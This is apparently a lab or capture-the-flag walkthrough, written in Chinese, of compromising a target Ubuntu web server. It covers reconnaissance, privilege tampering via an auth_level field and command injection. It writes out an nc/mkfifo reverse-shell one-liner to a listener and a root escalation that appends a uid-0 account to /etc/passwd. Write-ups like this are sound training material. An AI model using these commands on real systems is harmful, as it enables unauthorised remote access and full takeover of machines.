一、目標環境
攻擊者(kali)、目標伺服器(ubuntu)
二、資訊收集
1、探測靶機
使用fscan進行探測
./fscan -h ip 段
發現目標地址,並且還發現對方開啟了80埠
三、目標站點的訪問以及檢測
然後發現兩個介面,分別是登陸和註冊的
然後就是在登陸介面這邊嘗試一下弱口令
發現並不存在,然後透過findsomething外掛發現一些目錄
訪問了一下/users/getUsers?limit=
發現大量的使用者資訊洩露,可以嘗試使用這些使用者在登陸介面那裡進行爆破,但是所需時間較長成功的機率不大,所以這個想法就放棄了
然後訪問註冊頁面
發現不能正常註冊,於是想著從js檔案入手,檢視其頁面的main檔案
發現找到了有關使用者註冊的請求頭資訊,接著繼續查詢
然後又看到相關的請求體資訊,接著就是透過抓包構造註冊的資料包,看看能否成功註冊
發現註冊成功,然後在登陸介面直接登陸
接著再一次抓一下那個登陸的資料包,攔截返回包
發現裡面有一個auth_level 認證的東西,然後在js裡面查詢一下
發現master_admin_user 這個欄位,然想一下這個可能是admin的認證資訊,嘗試將原來的替換成admin管理員的
發現有了管理員admin的身份,說明了此處存在越權漏洞
接著就是訪問那個之前看到的皮膚目錄 --> /dashboard
下面就是隨便輸入賬號密碼,並且抓包
出現報錯,表示不能直接訪問/linkauthenticate 這個目錄 然後上網查了一下,找到其開發的原始檔
發現檔案裡面用到了命令執行函式,然後就是想著在賬號密碼這是不是可以執行命令,嘗試透過靶機ping一下攻擊機
命令:sudo tcpdump -i eth1 icmp and host 靶機IP and host 攻擊者IP
可以通訊之後可以嘗試反彈shell了
命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 監聽IP 埠 >/tmp/f
反彈成功
四、提權
1、檢視擁有root許可權的檔案
命令:find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' ; 2>/dev/null
發現此處存在passwd提權,然後就是透過 perl方法將賬號密碼寫入到/etc/passwd檔案裡
命令:
perl -le 'print crypt("hack", "123")' ---> 將密碼加密並輸出
echo 'wso:12RgFWKzAOIJM:0:0:root:/root:/bin/bash' >> /etc/passwd -->寫入
python -c 'import pty; pty.spawn("/bin/bash")' --->互動式終端
su wso
密碼
提權成功,獲取最高許可權
總結:
主要運用到的知識:構造資料包、越權、passwd提權